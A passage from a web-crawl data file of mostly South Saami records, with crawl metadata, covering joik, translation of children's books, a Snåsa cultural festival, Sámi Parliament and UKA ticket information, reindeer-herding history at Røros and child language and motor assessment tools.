Saara lij maana, mojhtese Elsan bïjre lea stoerre Saaran luvnie. Datne maahtah Elsa Kristofferssonem Spotifysne goltelidh mij Kræstam juajka.\n-Rovnege badth lea, menh domtoe goh Elsa læjhkan mov luvnie orreme. Dïhte otnjegem munnjien vuesiehtamme maam satne tuhtjeme bööremes munnjien vaeltedh. Mov barkoe mahte seamma goh sov barkoe lij. Dïhte gellie tjihtesh tjeeli, jïh manne melodijem akte dejstie bïejeme. Elsa lij joekoen murreds nyjsenæjja, jïh manne tuhtjem dïhte lea ovmessie vuekien mietie mov jïemmehke.\nTekste: Nina Nordvall Vahlberg Foto:","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.tjallegoahte.se\/jojk\/sara-hermansson\/","date":"2022-11-29T08:51:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710690.85\/warc\/CC-MAIN-20221129064123-20221129094123-00548.warc.gz","language":"sma","language_score":0.999999404,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999994039535522}","num_words":731,"character_repetition_ratio":0.039,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.073,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien gïelese jarkoestidh ij ajve baakoej jïh grammatihken bïjre. Tjuara saemien gïelevuekiem jïh kontekstem gaavnedh jïh buektiehtidh åssjaldahkh dej sïjse juhtedh. Jis ij dam buektehth dellie jienebelåhkoegïele aelhkieslaakan maahta jarkoestimmide tsevtsedh, Bierna Leine Bientie jeahta gie leah jarkoestimmiejgujmie barkeme mahte abpe jieliemisnie.\nBierna Leine Bientie akte dejstie jarkoestæjjijste gïeh leah prosjeektesne Maanagærja jarkoestimmie barkebe. Dïhte laavenjostoeprosjeekte maam Trøndelagen fylhkegærjagåetie jïh Gïelem nastedh stuvreminie ihke maana- jïh noerelitteratuvre saemien gïelese jarkoestidh. Aalkovistie eejhtegh meehtin loeves teekstebiehkieh åarjelsaemien gïelesne gaskeviermeste veedtjedh jïh dejtie gærjaj sïjse lïjmedh, mohte dan mænngan, jaepien 2014 raajeste, jienebh enn 20 jarkoestæjjah leah mahte 80 jarkoestimmide buektiehtamme.\n– Eelki mahte goh ohtje gerillabåasarimmie jïh daelie maahta gujhth jiehtedh brigaadine sjïdteme, Morten Olsen jeatja, raeriestæjja gærjagåetesne Tråantesne.\nAKTE LEA dam saemien ussjedimmievuekiem gaavnedh mohte dellie aaj såemies saemien grammatihkebiehkieh mah leah vihkeles gorredidh, mij mesnie guektiengiertien baakoehammoe, mij sæjhta jiehtedh veerbem sjïerelaakan syjjehtidh jis göökte almetjh maam akth darjoejægan. Dïhte mij akth maam daaroen tjelmieh jïh bieljieh maehtieh tuhtjedh rovnege lea.\n– Guektiengiertien baakoehammoe maahta aehpies årrodh jïh mov maanabealesne idtji dan jïjnjem åtnasovvh. Mohte jis edtjebe dam gorredidh dle tjoerebe dam daelie nuhtjedh, eannan eevre gaarvanadta, Bierna Leine Bientie jeahta.\nDïhte meala daelie aejkie dam gïelem bååstede vaeltedh maam dejbeeli soptsestin. Dan gaavhtan tjuara vaaksjodh gïelebarkoe buerie kvaliteetem åtna jïh daerpies jïjnjh njaalmeldh barkojne darjodh jïh aaj nuepiem skaepiedidh gellie jarkoestæjjah maehtieh ektesne barkedh.\n– Dovrehkåbpoe sjædta mohte daerpies lea. Dïhte mij akth buerie daelie gosse sïjhtebe gïelem jealajehtedh.\nJIS SÆJHTA aelkedh saemien gïelese jarkoestidh dle Bierna Leine Bientie naakenh buerie raerieh åtna.\n– Lohkh maanagærjam, gellie aejkieh, jïh baajh dellie gærjam årrodh. Tjaelieh teekstem vihth dov jïjtse baakoejgujmie jïh guktie datne ussjedh. Nimhtie maahtah buektiehtidh dov saemien vuekine jarkoestidh.\nBåetijen jaepide Morten Olsen Haugen, gærjagåetesne Tråantesne, veanhta medtie 15 saemien jarkoestimmieh fïerhten jaepien. Eejhtegh leah sutnjan jiehteme aerebe leah gaajhkide dejtie gärjide lohkeme mij åarjelsaemien gïelesne gååvnesin, viht jïh viht. Daelie dan gellie maana- jïh noeregærjah åarjelsaemien gïelesne eah asth gaajhkh lohkedh jallh eah hïnnh gaajhkh gærjah vueptiestidh.\n– Åarjelsaemien maanah reaktam utnieh ovmessie aamhtesi bïjre lohkedh. Dah edtjieh maehtedh saemien gïelesne tsællodh, juelkietjengkerem vuartasjidh jïh giertiesijjesne vuertedh, Haugen jeahta.\nTEEKSTE PIA SJÖGREN GUVVIE ANNE-GRETHE LEINE BIENTIE\nGeehth ij skandinaavijengïelh tsevtsieh!\nJiehtege \"gå på vägen\" maahta jarkoestimmine \"geajnoen nelnie vaedtsedh\" sjïdtedh. Mohte dellie lohkije kaanne funterde mannasinie tjuara dan geajnoen nelnie vaedtsedh balanseeredh. Båeries vuekie \"geajnoem vaedtsedh\" buerebe lea.\n\"Han bröt avtalet och kom inte\" maahta \"sjïehtedimmiem tjööpki jïh idtji båetieh\" sjïdtedh mohte saemien gïelesne buerebe \"Idtji båetieh guktie mååhtedigan\" (\"Han kom inte som de hade avtalat\") ihke skandinaavijen gïelh eah edtjh saemien gïelem tsevtsedh.\nUssjedh adjektijvi baakoehammoej bïjre!\nGosse adjektijvh tradisjonelle vuekine nuhtjieh dellie baakoehammoeh jearohke jis adjektijve attributijven jallh predikatijven haamoem vaalta. \"Det är en svart hund\" sjædta \"Dusnie tjeehpes bïenje\" mohte \"Hunden är svart\" jarkoestibie \"Bïenje tjååhpehke\".\nMåjhtah guektien giertien baakoehammoe!\n\"Vuelkiejægan jïh gaavnijægan eeselen miesiem vïedteldahkesne oksen uvte, dam noelijægan.\" Dïhte biehkie bijpelistie jïh soptseste dan bïjre gåessie Jesus lea Jerusalemese båeteme. Svïenske gïelesne: \"De (två) går och hittar (de två) åsnefölen bundna framför dörren, de lösgör dem (de två)\".","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.tjallegoahte.se\/jarkoestaejja-lohkh-baajh-arrodh-tjaelieh\/","date":"2022-11-29T08:49:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710690.85\/warc\/CC-MAIN-20221129064123-20221129094123-00585.warc.gz","language":"sma","language_score":1.0000002384,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 1.000000238418579}","num_words":498,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maanaj Tjåanghkoe\nMïetsken, duarstan 25. jïh bearjadahken 26. b. ts. 10-14 Maanide aaltarisnie 0-6 jaepieh geerve almetjinie ektine Maanaj Tjåanghkoe lea guektiengïeleldh gaavnedimmiesijjie (åarjelsaemien\/ daaroen) gusnie maanah maehtieh gaavnedidh jïh ektesne murriedidh. Maanaj Tjåanghkosne edtjebe låavthgåetesne gaavnedidh, stååkedidh jïh lustestalledh, byöpmedidh, laavlodh jïh soptsestimmieståantem Mijjen gærhkoegærjeste utnedh. Maanaj Tjåanghkoe lea laavenjostoe Suaja maanagïerten jïh Saemien Åålmegen gaskem. Programme,…\nBoelveste boelvese Fra slektsledd til slektsledd\nTïjje doekoe noeri ïedtje lea skreejrehtæjjine orreme jarkelidh jïh seabradahkem evtiedidh. Daan jaepien sïjhtebe dam aavoedidh jïh madtjeldehtedh orre jïh båeries noerh vaajmose goltelidh jïh vaajnoem nuhtjedh dïsse mij vihkele dutnjien!\n—\nUngdommens energi har gjennom alle tider vært en driver for endringer og samfunnsutvikling. I år vil vi feire dette og inspirere nye og gamle ungdommer til å lytte til hjertet og brenne for det som betyr noe for deg!\nSančuari daanhtsose spealede Sančuari spiller til dans\nGosse iehkedsbiejjie Snåasenjaevresne vååjnoe laavadahken mïetsken 27. b. mijjieh daanhtsose bööredibie Sančuarine ektine.\nGosse gaajhkesh joejkeminie jïh leah feesteaajmosne dellie badth daajra Sančuari lea scenesne.\n—–\nNår kveldssola speiles i Snåsavannet lørdag 27. august byr vi opp til dans sammen med Sančuari.\nHøy alljoik- og feststemning er et kjennetegn når Sančuari er på scenen.\nAgnete Tjaktjen Tjåanghkose Agnete til Tjaktjen Tjåanghkoe\nMijjieh aavoedibie Agnete Sabam åehpiedehtedh mij mijjen luvnie tjoejehte duarstan, mïetsken 25. b.\nTjaebpies melodijigujmie jïh mïrhke teekstigujmie, Agneten fååmijes gïele lea universem sjugniedamme gusnie artiste tjïelke jïh eerlege bieliem jïjtsistie vadta.\n—\nVi gleder oss over å presentere Agnete Saba som spiller hos oss torsdag 25. august.\nMed vakre melodier og mørke tekster har Agnetes kraftfulle stemme skapt et musikalsk univers der artisten viser en rå og ærlig side av seg selv.\nDaniel lea Tjaktjen Tjåanghkoen åvtehke Daniel skal lede Tjaktjen Tjåanghkoe\nSov dååjrehtimmine jeatjah festivaalijste dan lea håhkoe viehkine årrodh jeereldihkie jïh gamte kultuvresisvegem sjugniedidh. Dïhte aavode åarjelsaemien kultuvrefestivaalem sov hïejmevoenesne öörnedh, eevre orre museumegåetesne.\n—\nMed sin erfaring fra andre festivaler håper Daniel Steinfjell å kunne bidra til å skape en variasjon og bredde av kulturinnslag. Han ser frem til å arrangere en sørsamisk kulturfestival i hjembygda si, i et splitter nytt museumsbygg.\n– En målsetning er å virkelig ta i bruk det nye bygget og uteområdet, utforske potensialet i det og sammen skape gode opplevelser der.\nNeste Tjaktjen Tjåanghkoe blir i 2022 – i nytt bygg\nAnnethvert år arrangeres de sørsamiske kulturfestivalene Raasten Rastah og Tjaktjen Tjåanghkoe på henholdsvis Røros og Snåsa. Raasten Rastah skulle egentlig arrangeres denne høsten. Men covid-19 sørget for at festivalen måtte avlyses. I stedet for å måtte vente til 2022 med ny festival på Røros, bytter festivalene år. Det vil si at Raasten Rastah blir arrangert…\nRepresentanter fra Maori gjester Tjaktjen Tjåanghkoe\nI anledning FNs Urfolksspråkår 2019 får vi besøk av representanter fra maorifolket på New Zealand.\nForfattermøte med Inga Ravna Eira\nInga Ravna Eira besøker Snåsa for å snakke om sin nye bok «Ii dát leat dat eana» (Dette er ikke den jorda). Boka er nominert til Nordisk råds litteraturpris.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/tjaktjen-tjaanghkoe.no\/aktuelt\/page\/2\/","date":"2022-12-08T00:21:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711221.94\/warc\/CC-MAIN-20221207221727-20221208011727-00250.warc.gz","language":"sma","language_score":0.9618077874,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9618077874183655, \"nob_Latn_score\": 0.019887397065758705, \"sme_Latn_score\": 0.017384521663188934}","num_words":476,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.174,"stopwords_ratio":0.046,"flagged_words_ratio":0.0,"lang_id_score":0.977,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije\nVaadtasovvemejaepie\n2019\nFaage\nISBN\n8232901296\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nSpïele jïh gærjetje saemien naestie-elmien bïjre.\nGærjetje jïh spïelekåarhth mejstie soptsesem saemien naestie-elmien bïjre leara. Dorjese måedtene gïelesne jïh noerhtesaemien nomme lea: Sámi almmi máidnasat, soemen: Lapin taivaan tarinat jïh englaantengïelesne: Saami tales of the night sky.\nElmien vijreme, jïjtjehke sarvevijreme, gærjetjen åejviesoptsese jïh daejnie gærjetjinie jïh kåarhtigujmie saemien naestie-elmie vååjnesasse båata jïh mij eevre jeatjahleejne goh jeatjah åålmegi. Gærjetjen bïevnesh jïh soptsesh saemien elmien bïjre jïh daejnie spïeline nommide noerhtesaemien lïerh.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/ovttas.no\/sma\/oahpporeaiddut_fortellinger-om-den-samiske-himmelen","date":"2023-02-01T16:16:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499946.80\/warc\/CC-MAIN-20230201144459-20230201174459-00477.warc.gz","language":"sma","language_score":0.9999819994,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999819993972778}","num_words":82,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.22,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Datne lïerh\n- åssjalommesevtiedimmie jïh kreatijve dåeriesmoereloeteme\n- utnijedåarjoen, viermiej, IT-jearsoesvoeten jïh progammeremen bïjre\n- sisvegebievneme jïh histovrijesoptsese\n- foto, filme jïh grafihkeles hammoedimmie\n- gaskesadteme jïh maarkedebievneme\nDatne byörh\n- kreatijve årrodh\n- ïedtjem utnedh IT:ste, viermeste jïh programmevaarojste\n- ïedtjem utnedh visuelle buektemehammojste\n- veele årrodh\nDatne maahtah sjïdtedh\n- IT-evtiedæjja jallh IT- gïehtelimmieteknihkese\n- medijahammoedæjja, medijateknihkere jallh medijaprodusente\nVuartesjh gaajhkh barkoeh jïh maahtoeh\nBarkoesijjieh\n- IT-sïelth jïh IT-goevtesh\n- multimedijasïelth, reklaamebyrå jallh bertemh\nGuhkiebasse ööhpehtimmie\nBarkoefaageles lïerehtimmie barkoemaahtoem ulmine åtna (faage- jallh svenneprievine jallh namhtah). Barkoefaageles lïerehtimmiem mænngan maahtah barkosne aelkedh jallh guhkiebasse ööhpehtimmiem vaeltedh:\n- Maahtah jåarhkeööhpehtimmiem vaeltedh faageskuvlesne. Faageskuvleööhpehtimmie lea åenehks jïh barkoestuvreme jåarhkeööhpehtimmie mij lea ussjedamme dejtie mah barkoefaagem vaadtseme.\n- Maahtah Jåa3 lissiebigkemem sïejhme studijemaahtose vaeltedh\n– Jåa 2:n mænngan jallh\n– mænngan barkoemaahtoem jakseme.\nDellie nuepiem åtnah jollebe ööhpehtimmiem vaeltedh jïlleskuvlesne jallh universiteetesne. Mujhtieh såemies studijh, v.g. insjenööre-, realfaage- jïh medisijnen studijh, krievieh dov leah vihties realfaagh.\n- Maahtah aaj tsaekemem ohtsedh jollebe ööhpehtæmman åvtekuvsjen mænngan B-geajnoen tjïrrh, barkoefaageles geajnoe jollebe ööhpehtæmman. B-geajnoe lea ussjedamme dutnjien mij sjyöhtehke barkoemaahtoem åtna. Åvtekuvsjh jïh B-geajnoe leah sïejhmemes realfaage- jïh insjenöörestudiji sisnjeli.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/www.vilbli.no\/nb\/sma\/no\/informasjonsteknologi-og-medieproduksjon\/program\/v.im?rev=lk20&tid=","date":"2023-02-01T16:38:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499946.80\/warc\/CC-MAIN-20230201144459-20230201174459-00500.warc.gz","language":"sma","language_score":1.0000048876,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000048875808716}","num_words":169,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Appen tjïrrh Voice of Norway maahta gaskem jeatjah vielie govledh fåantoen bïjre man åvteste Saemiedigkie tseegkesovvi, Saemiedigkien råållan bïjre dovne nasjonaale jïh gaskenasjonaale, jïh bïevnesh dan sjïere arkitektuvren jïh tjeahpoen bïjre mij lea Saemiedigkesne. Saemien histovrije jïh kultuvre aaj soptsesuvvieh jïh goltelæjjah åadtjoeh Saemiedigkien tjaebpies joejkem govledh.\nGaajhkesh maehtieh tjoeje-vuesiehtimmiem gaavnedh appesne Voice of Norway. Guessieh Karasjohkesne maehtieh Saemiedigkien laajroem veedtjedh, jïh appe sæjhta jïjtsistie dejtie ovmessie soptsesidie spïeledh gosse svihtjeminie Saemiedigkien ålkolen. Annjebodts faalenasse lea ajve nöörjen gïelesne, men sæjhta jieniebinie gïeline båetedh mænngan.\n– Mijjieh gaajhkesidie buerie båeteme vaajtelibie vielie Saemiedigkien bïjre lïeredh appen tjïrrh, jïh aavoedibie goske vihth maehtebe guessieh dåastodh mænngan. Daate faalenasse aaj vihkeles ålkoelaanten almetjidie mah sijhtieh vielie saemien parlameenten bïjre lïeredh, stoerretjåanghkoeåvtehke Tom Sottinen jeahta.\nAppe namhtah veedtjedh jïh namhtah nuhtjedh. Væjsaldahkine tellefovnesne maahtah Saemiedigkiem dååjredh jïjtjedh drïektesne gosse dutnjien bööremes.\nSvea Vikander tjoejehistovrijem englaantengïelesne soptseste. Lisa Marie Kristensen tjoejehistovrijem daaroengïelesne soptseste jïh GLR, Nils Martin Kristensen baaktoe lea tjåadtjoehtæjja tjoejebaantedimmien jïh produksjovnen åvteste.\nNaemhtie darjoeh:\nVeedtjh appem Voice of Norway dov tellefovnese. Ohtsh Saemiedigkiem jïh veedtjh laajroem. Gosse laajroem veedtjeme, maahta mobijlenedtem jamhkelidh jïh soptsesh jïjtsistie båetieh gosse svihtjeminie gåetien ålkolen. Jis sæjhta guhkelesmaajeste goltelidh, veedtjh appem jïh ohtsh Saemiedigkiem. Diedtieh dan mænngan dejtie ovmessie tsiehkide tuvresne.\nDeejrih Saemiedigkie aaj digitaale vuesiehtimmiem faalehte? Datne dam daesnie gaavnh.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/sametinget.no\/saernieh\/buerebelaakan-saemiedigkine-aahpenh-dov-mobijlen-tjirrh.20618.aspx","date":"2023-01-28T04:43:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499470.19\/warc\/CC-MAIN-20230128023233-20230128053233-00773.warc.gz","language":"sma","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 1.0000063180923462}","num_words":214,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.126,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Velg en kategori under\nLeahpah\nUKAn doekemesijjie leahpide - gusnie jïh gåessie rïhpesteDatne maahtah leahpasijjem klaasegåetesne Samfundetesne nuhtjedh abpe UKAn tjïrrh. Daesnie maahtah leahpah åesiestidh, jïh leahpah lïhtsegistie ij-lïhtsegasse jeatjadehtedh jis vielie maaksah. Gåarede leahpah oksesne åesiestidh jis eah leah gåaroes Samfundetesne jïh Dødens dalesne.\nOksesne maahtah aaj leahpah lïhtsegistie ij-lïhtsegasse jeatjadehtedh. Daate aalka tsåahka 19.00 Samfundetesne jïh galhka gosse Huset gaptja, fïerhtene biejjie gosse öörnegh dubpene.\nDødens dalesne lea abpe öörnegen tjïrrh. __Tijjieh gosse leahpasijjie klaasegåetesne lea rïhpes:__\n13:00 - 19.30 aarkebiejjieh + laavadahke\n13:00 - 16:30 aejlege\nMaahtam leahpam målsodh?Ij gåerede leahpam målsodh jis åasteme dam, mohte jis naan öörnegh lea tjöödtjestamme, dellie beetnegidie bååstede åatjoeh.\nMer om UKAs salgsbetingelser finner du på uka.no\/salgsbetingelser.\nMij leah joekehtsem \"lïhtsege\" jïh \"ij-lïhtsege\" gaske?Jis leah lïhtsege Studentersamfundetesne Tråantesne, maahtah lïhtsegeleahpah åesiestidh. Leahpam maahtah ajve provhkedh lïhtsegekåarhtine. Ij gåarede vielie goh akte leahpa fïerhtene öörnegasse seamma lïhtsegekåarhtesne. Datne tjoerh lïhtsegekåarhtem meatan vaeltedh gosse edtjh öörnegasse tjaangedh. Jis leahpahnamhtah leahpa åasta, dellie lïhtsegekåarhtem lea leahpam, jïh dellie tjoerh dam daerpies lïhtsegekåarhtem meatan vaeltedh.\nLïhtsegh Samfunnet i Åsesne jïh Studentersamfunnet Bergenesne maehtieh aaj lïhtsegeleahpah åestedh jïs lïhtsegekåarhtem vuesehte.\nManne lïhtsegeleahpam åesteme, mohte im leah lïhtsege. Maam darjoem?Datne maahtah leahpam jeatjadehtedh lïhtsegeleahpeste ij-lïhtsegeleahpese jis vielie maaksah. Dam maahtah leahpasijjesne jallh oksen baalte darjodh.\nMaahtam leahpam lïhtsegekåarhtese bïejedh?Jis alternatijvem \"leahpanamhtah\" veeljh, dellie dov lïhtsegekåarhte dov leahpa. Dellie aajve lïhtsegekåarhtem daarpesjh öörnegasse. Dov lea ajve akte leahpa fïerhtene öörnegasse lïhtsegekåarhtesne, dah jeatjah leahpah e-påastesne dåastoeh.\nGuktie leahpam åadtjoem gosse UKA.no:sne åasteme?Gosse leahpide maakseme, datne bekreftelsem e-påastesne dåastoeh. Daesnie dov leahpah gååvnese mah datne tjoerh olkese tjaeledh jïh meatan vaeltedh.\nJis datne lea lïhtseginie Studentersamfundetesne jïh \"leahpanamhtah\" veeljh, dov lïhtsegekåarhte lea dov leahpa, jïh lea ajve daerpies dam meatan vaeltedh.\nDatne maahtah ajve akte leahpa fïerhtene öörnegasse dov lïhtsegekåarhtesne utnedh. Jeatjah leahpa datne dov e-påastesne dåastoeh.\nDatne edtjh leahpam e-påastesne dåastodh aerebe bielie tæjmoe vaaseme. Naan aejkieh guhkebe tijjiem vaasa gosse systeeme tjarke dïedtesamme.\nManne sïjhtem mov leahpa doekedh. Maam UKA jeahta daan bïjre?Lea jïjnjh risiko leahpah doekedh. Ij gåerede veartasjidh mejtie leahpa lea reaktoe aerebe oksese båata. UKA jeerie jïjtse leahpah doekedh.\nGusnie maahtam vielie bïevnesh leahpah bïjre gaavnedh?Vielie bïevnesh leahpah bïjre gååvnese UKA.no. Datne maahtah aaj vielie bïevnesh åasah, tïjjeh, aalterekrïensh jïh jeatjah bïevnesh daesnie gaavnedh. Jis vielie gyhtjelassh leahpaj bïjre, gïhtjh email@example.com.\nLurer du på noe som ikke står her? Kontakt oss på firstname.lastname@example.org. Dersom henvendelsen gjelder kjøpte billetter, oppgi de siste fire siffer i betalingskortnummeret, eller referansenummeret som står under strekkoden.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/www.uka.no\/sma\/billetter\/","date":"2023-01-27T14:11:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764494986.94\/warc\/CC-MAIN-20230127132641-20230127162641-00016.warc.gz","language":"sma","language_score":0.9999653101,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999653100967407}","num_words":398,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sujhtemebovtse\nDïhte jealamadtje Catharina Borchgrevink (1730-1804) daesnie gåetesne nr. 17 årroeji gaatosne «Hyttegaden», jallh Bergmannsgata guktie nomme lea daan biejjien. Gaertene lea daan biejjien raeriegåetie Rørosesne. Catharina Borchgrevink lij akte dejstie jealamadtjemes almetjijstie bïerjestaaresne, jïh dan lin jïjtse bovtsh.\nFåantoe man åvteste baakoetjïerte sujhtemebovtse jallh båantabovtse åtnasåvva – lea dan åvteste båantah jallh jeatjah arrah-almetjh mïerhkh utnin jïh bovtsh eekin mejtie saemieh sijjen krievviejgujmie ektine ryöjnesjin. Bovtsen aajhtere vihties beetnehveahkam maeksieji saemiefuelhkide goh maaksoe barkoen åvteste. Lissine saemieh mielhkiem åadtjoejin mejtie aaltoe vedti giesege. Arrah-almetjh niestieh jïjtsh krievveste åadtjoejin.\nSaemieh miesie mïerhkesjin jïh aaltojde buhtjin giesege, krievviejgujmie gåatomedajvi gaskem juhtin jïh krievviem juvri vööste ryöjnesjin abpe jaepiem. Doh jeanatjommes båantah jïh arrah-almetjh daamtajommes ajve naan gille bovtsh utnin, men naakenh gellie tjuetie bovtsh eekin. Aerpiejuakoen tjïrrh Catharina Borchgrevinken minngesne, mij sealadi 1804, åadtjobe daejredh dan lin bovtsh göökte joekehts fuelhkiej luvnie, man aarvoe lij 46 riksdaler.\nLij jienebh goh Catharina Borchgrevink mah bovtsh eekin Plaassjesne. Direktööre Røros Kobberverkesne jaepide 1770 raejeste 1789 raajan, Peder Hiort (1716-1789), sån jïjtse bovtsh utni krievvine jienebi nommehtamme saemiefuelhkiej luvnie. Aaj daejrebe åesiestæjja Christian A. Lorck Tråantesne jïh Johannes Müller, skåajjeinspektööre jïh materijellereerije Røros Kobberverkesne, bovtsh utnin Jon Mortensonen luvnie.\nPrieviej tjïrrh gaskem Lorck jïh Müller åadtjobe ånnetji daejredh öörnegen bïjre sujhtemebovtsigujmie. Dah guaktah ektesne mïerhkem jïh bovtsh ööstigan 1806. Johannes Müller mij Plaassjesne årroeji, lij dïhte mij gaskesadti båatsoesaemiejgujmie. Dïhte sov prievine Lorckese naa veelelaakan reekti guktie krievvine gåaradi, jïh maahta prieviej tjïrrh vuejnedh daate lij akte vietseles öörnege arrah-almetjidie. Müller aaj tjïertesti saemieh tjoerin hijven hoksehtimmiem åadtjodh gosse lin bïerjestaaresne.\nÖörnege sujhtemebovtsigujmie nåhki. Arrah-almetji krievvieh stoerre sjïdtin, jïh fer gellie bovtsh sjïdti viertiestamme barkoefaamojne. Öörnege sån aaj vigkieh sjugniedi. Saemieh tjoerin gåatomeskaaraj åvteste maeksedh ïentjine, sïetereïentjine, miehtjieslåahtine jïh staehkine. Ibie daejrieh mejtie sujhtemebovtsi aajhterh sijjen låhkoem krïevenassijste maeksiejin. Gåatomeskaaradåeriesmoerh lin sån aaj fåantoe man åvteste arrah-almetjh ov-geahpan sjïdtin. Öörnege sujhtemebovtsigujmie orriji båatsoelaakesne 1897.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/rorosmuseet.no\/lyttepunkter?kp_id=44:888:9344","date":"2023-02-07T14:25:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500619.96\/warc\/CC-MAIN-20230207134453-20230207164453-00536.warc.gz","language":"sma","language_score":0.9999341965,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.999934196472168}","num_words":300,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.077,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien voestesgïeline (SR jåa1)\nGïelegellievoete Saepmesne\nGïele, kultuvre jïh identiteete tjuerieh ektesne vuajnalgidh. Gïele mijjem, goh aalkoe-almetjh, hammode. Dan åvteste vihkele saemiej gïele-tsiehkiej bïjre lïeredh, dovne guktie aerebi jïh guktie daelie. Vihkele jïjtse jïh jeatjebi gïele-tsiehkiem guarkedh.\nGïele jïh identiteete\nGïele soptseste gïeh mijjieh, gubpede båetebe, guktie jielebe, mejnie barkebe jïh gïem sijhtebe årrodh.\nIdentiteete lea dïhte, mij mijjiem veadta jeatjabidie almetjidie jïh siebriedahkese, jïh nænnoste gie mijjieh, mehtie maadtoste, mehtie fuelhkeste jïh mehtie siebriedahkeste.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/ndla.no\/subject:1:a5d7da3a-8a19-4a83-9b3f-3c855621df70\/topic:1:8bfb17e8-b081-476d-8e00-49f219ef5de3\/topic:1:45838c31-8d7b-458a-9eca-f4888a804468\/","date":"2023-01-30T01:19:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499790.41\/warc\/CC-MAIN-20230130003215-20230130033215-00764.warc.gz","language":"sma","language_score":1.0000027418,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000027418136597}","num_words":75,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.133,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RI-5 lea Risiko-Indeks, jïh vaahrese vïjhten jaepien båeries maanaj luvnie vuesehte mah maehtieh dysleksijem evtiedidh skuvleaalhteren.\nÅarjelsaemien foneemeteeste maanan gïeletjoejh öörnegen mietie goerehte. Maahta daam nuhtjedh jis maana tsagkesh åtna gosse edtja soptsestidh, jallh jis sæjhta maanan baakoestimmiem goerehtidh.\nBaakoegåårkese lea digitale goerehtimmie gaskeviermesne. Destie maahta daejredh guktie maana baakoeh guarkoe. Numhtie åadtjobe daejredh guktie edtjebe baakoej gujmie barkedh dovne maanagïertesne jïh skuvlesne.\nEarly Years Movement Skills Checklist (EYMSC) lea motorihken gïehtjemelæstoe, maam leah evtiedamme juktie maehtedh motorihken tsagkesh maanaj luvnie aarhskuvleaalteren identifiseeredh jïh vuarjasjidh.\nEarly Years Movement Skills Checklist (EYMSC) la motorihkalasj guoradallamlissta dagádum váj máhtá identifisierit ja árvustallat motorihkalasj váttesvuodajt åvddåskåvllåmánájn.\nEarly Years Movement Skills Checklist (EYMSC) er en motorisk sjekkliste som er utviklet for å kunne identifisere og vurdere motoriske vansker hos barn i førskolealder.\nEarly Years Movement Skills Checklist (EYMSC) lea motorihka iskanlistu mii lea ráhkaduvvon dan váras ahte sáhttit identifiseret ja árvvoštallat mánáidgárdeagi mánáid motorihkalaš váttisvuođaid.\nSpråklig Test I er en enkel screeningundersøkelse der man undersøker et lite område innenfor barnets aktive 